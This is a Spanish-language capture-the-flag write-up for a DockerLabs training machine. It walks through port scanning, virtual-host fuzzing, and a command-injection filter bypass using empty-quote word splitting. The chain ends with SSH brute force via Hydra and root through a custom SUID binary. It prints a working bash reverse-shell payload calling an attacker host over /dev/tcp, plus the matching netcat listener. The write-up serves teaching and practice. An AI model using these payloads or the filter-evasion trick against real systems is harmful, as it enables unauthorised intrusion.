// DockerLabs — CTF Writeup

INTERNAL

#linux #web #rce #suid #hydra
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo para descubrir la superficie de ataque disponible en la máquina víctima.

escaneo inicial
nmap -p- -T5 <IP> -oG allPorts
PUERTO ESTADO SERVICIO
22/tcpOPENSSH
80/tcpOPENHTTP

La superficie es reducida: una web y SSH. Al intentar acceder directamente por IP al puerto 80, el navegador no puede resolver el nombre de host porque la aplicación espera un virtual host específico. Hay que añadir la entrada correspondiente al fichero /etc/hosts de la máquina atacante:

/etc/hosts
172.17.0.2 internal.dl

Con esto ya es posible acceder a la web. A simple vista no hay nada aprovechable en la página principal, así que se procede a enumerar subdirectorios con gobuster:

fuzzing de directorios
gobuster dir -u "http://internal.dl/" -w <DICCIONARIO> -x php,txt,html,js

Gobuster no encuentra nada relevante en la raíz, así que se amplía la enumeración buscando subdominios con ffuf. La idea es que el servidor pueda estar sirviendo aplicaciones distintas según el valor del header Host:

fuzzing de subdominios (virtual hosts)
ffuf -c -w <DICCIONARIO> -u 'http://internal.dl/' -H "Host: FUZZ.internal.dl"
backup [Status: 200, Size: 22554, Words: 4271, Lines: 812, Duration: 20ms] Backup [Status: 200, Size: 22554, Words: 4271, Lines: 812, Duration: 2ms]
¿Qué es el fuzzing de virtual hosts?
Un mismo servidor web puede alojar múltiples aplicaciones distintas según el valor del header HTTP Host. Al hacer fuzzing de subdominios con ffuf, se envían peticiones variando ese header con palabras de un diccionario. Si el servidor responde distinto (tamaño o código de respuesta diferente), es señal de que existe esa aplicación. Aquí se descubren backup.internal.dl y Backup.internal.dl.

Se añaden los subdominios descubiertos al /etc/hosts:

/etc/hosts actualizado
172.17.0.2 internal.dl backup.internal.dl Backup.internal.dl
// 02

REMOTE CODE EXECUTION — Bypass del WAF con quote splitting

Al acceder a backup.internal.dl se encuentra una aplicación web llamada Directory Inspector. Permite introducir una ruta del sistema de ficheros y listar su contenido. Internamente ejecuta un comando del sistema operativo con la ruta proporcionada.

El primer intento de inyección de comandos con el operador ; resulta bloqueado por el WAF (Web Application Firewall) de la aplicación. Probando con el operador | el error es distinto: ya no bloquea el operador, sino el comando en sí. Esto indica que hay dos capas de filtrado independientes: una para operadores y otra para comandos conocidos.

Análisis del WAF
El WAF comprueba si la entrada contiene operadores de shell peligrosos (;, |, etc.) y también si contiene comandos en una lista negra (id, bash, etc.). Sin embargo, la comprobación se hace sobre la cadena completa y de forma literal, sin interpretar el contexto de shell. Esto lo hace vulnerable a técnicas de ofuscación.

El bypass consiste en fragmentar la palabra del comando usando comillas vacías '' en medio de ella. El shell de Linux interpreta las comillas vacías como una cadena de longitud cero y las ignora al ejecutar, reconstruyendo el comando original. Sin embargo, el WAF hace una comparación de subcadenas literal y no reconoce el comando porque aparece partido.

1
WAF ve la cadena
| i''d — El filtro busca la palabra id literalmente. No la encuentra porque está escrita como i''d, así que deja pasar la petición.
2
Shell interpreta el comando
Bash procesa i''d: las comillas vacías son expansión vacía, así que el resultado es simplemente id. El comando se ejecuta con normalidad.
3
RCE confirmado
La salida devuelve el usuario del proceso: uid=33(www-data) gid=33(www-data) groups=33(www-data). El bypass funciona.

Con el bypass confirmado, se construye la reverse shell aplicando la misma técnica de quote splitting a las palabras bash y ash, que también estarán en la lista negra:

payload de reverse shell (campo de ruta en la web)
| b''ash -c "b''ash -i >& /dev/tcp/<IP_ATACANTE>/4444 0>&1"
listener en la máquina atacante
nc -lvnp 4444
www-data@a9cb375ae498:/$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
¿Por qué funciona b''ash?
En bash, una cadena como b''ash se procesa en tres partes: el literal b, la expansión vacía '' (que produce nada), y el literal ash. Al concatenarlas, bash obtiene bash y lo ejecuta como comando. El WAF, que realiza una búsqueda de subcadena simple sin interpretar el lenguaje de shell, no detecta la palabra prohibida porque está fragmentada. Esta técnica se conoce como quote splitting o quote removal bypass.
// 03

ESCALADA HORIZONTAL — Fuerza bruta SSH con Hydra

Estando dentro del sistema como www-data, se explora el sistema de ficheros en busca de información sensible. En el directorio /opt se encuentra un fichero llamado .vault_pass.txt, propiedad del usuario vault pero legible por www-data:

www-data@a9cb375ae498:/opt$ ls -la drwxr-xr-x 1 www-data www-data 4096 Feb 25 15:02 . drwxr-xr-x 1 root root 4096 Mar 4 02:00 .. -rw-r--r-- 1 www-data vault 260 Feb 25 13:24 .vault_pass.txt drwxrwxr-x 1 root vault 4096 Feb 26 10:50 vaultlibs www-data@a9cb375ae498:/opt$ cat .vault_pass.txt X#9mK$vL2@pQ nR7!wZ3&eT5* Hy6@jP2#mX8$ [... más entradas ...] Yk8$pZ5@cN4! [...]

El fichero contiene una lista de contraseñas candidatas. Todo apunta a que alguna de ellas es la contraseña del usuario vault. Se usa Hydra para hacer fuerza bruta sobre SSH con esa lista:

ataque de fuerza bruta con hydra
hydra -l vault -P vault_pass.txt ssh://172.17.0.2
[22][ssh] host: 172.17.0.2 login: vault password: Yk8$pZ5@cN4! 1 of 1 target successfully completed, 1 valid password found
Credenciales encontradas
Usuario vault con contraseña Yk8$pZ5@cN4! obtenidas mediante fuerza bruta contra SSH usando el diccionario hallado en la propia máquina.

Se accede directamente por SSH en vez de pivotar desde la reverse shell, obteniendo así una sesión más estable e interactiva:

acceso ssh como vault
ssh [email protected] Password: Yk8$pZ5@cN4!
// 04

PRIVILEGE ESCALATION — SUID en binario personalizado

Ya como usuario vault, el objetivo es escalar a root. Una de las técnicas más habituales en Linux es buscar binarios con el bit SUID activado. Un binario SUID se ejecuta siempre con los permisos de su propietario (normalmente root), independientemente de quién lo lance:

búsqueda de binarios con SUID de root
find / -perm -4000 -ls 2>/dev/null
1074471 16 -rwsr-xr-- 1 root vault 16136 Feb 25 15:00 /usr/local/bin/vaultctl 1060928 36 -rwsr-xr-- 1 root messagebus 34960 Aug 8 2024 /usr/lib/dbus-1.0/dbus-daemon-launch-helper [... binarios estándar del sistema ...]
Binario SUID sospechoso
Existe un binario no estándar llamado /usr/local/bin/vaultctl con SUID de root. A diferencia del resto de binarios SUID (que son del sistema y bien conocidos), este es un ejecutable personalizado. Su permiso rwsr-xr-- indica que es ejecutable por el grupo vault — al que pertenece nuestro usuario — y corre con privilegios de root.
¿Qué es el bit SUID?
El bit SUID (Set User ID) es un permiso especial de Unix que, cuando está activo en un ejecutable, hace que el proceso se ejecute con la identidad del propietario del fichero en vez del usuario que lo lanza. Si el propietario es root y el binario no valida correctamente lo que hace, cualquier usuario que pueda ejecutarlo obtiene una vía para escalar privilegios. Es por eso que los binarios SUID de root son un vector de escalada clásico.

Se ejecuta el binario directamente. Sin necesidad de argumentos especiales, vaultctl escala automáticamente los privilegios del proceso actual a root:

explotación del binario suid
vault@a9cb375ae498:~$ /usr/local/bin/vaultctl
root@a9cb375ae498:~# whoami root
Root obtenido
El binario vaultctl, al ejecutarse con SUID de root, eleva automáticamente los privilegios a root. Probablemente el binario invoca setuid(0) o lanza una shell sin validar el entorno, lo que es suficiente para obtener acceso completo al sistema.
// RESUMEN

CADENA DE ATAQUE

01
Enumeración Web + Virtual Hosts
Gobuster no encuentra nada relevante en la raíz → ffuf descubre los subdominios backup.internal.dl con una aplicación de inspección de directorios
02
Bypass WAF con Quote Splitting
El WAF bloquea operadores y comandos conocidos por subcadena literal → se usa b''ash e i''d para fragmentar las palabras → RCE como www-data
03
Reverse Shell + Diccionario en /opt
Reverse shell estable como www-data → se descubre /opt/.vault_pass.txt con lista de contraseñas candidatas
04
Hydra → SSH como vault
Fuerza bruta SSH con el propio diccionario de la máquina → contraseña Yk8$pZ5@cN4! → sesión SSH como vault
SUID vaultctl → Root
Binario /usr/local/bin/vaultctl con SUID de root ejecutable por el grupo vault → escalada a root sin argumentos adicionales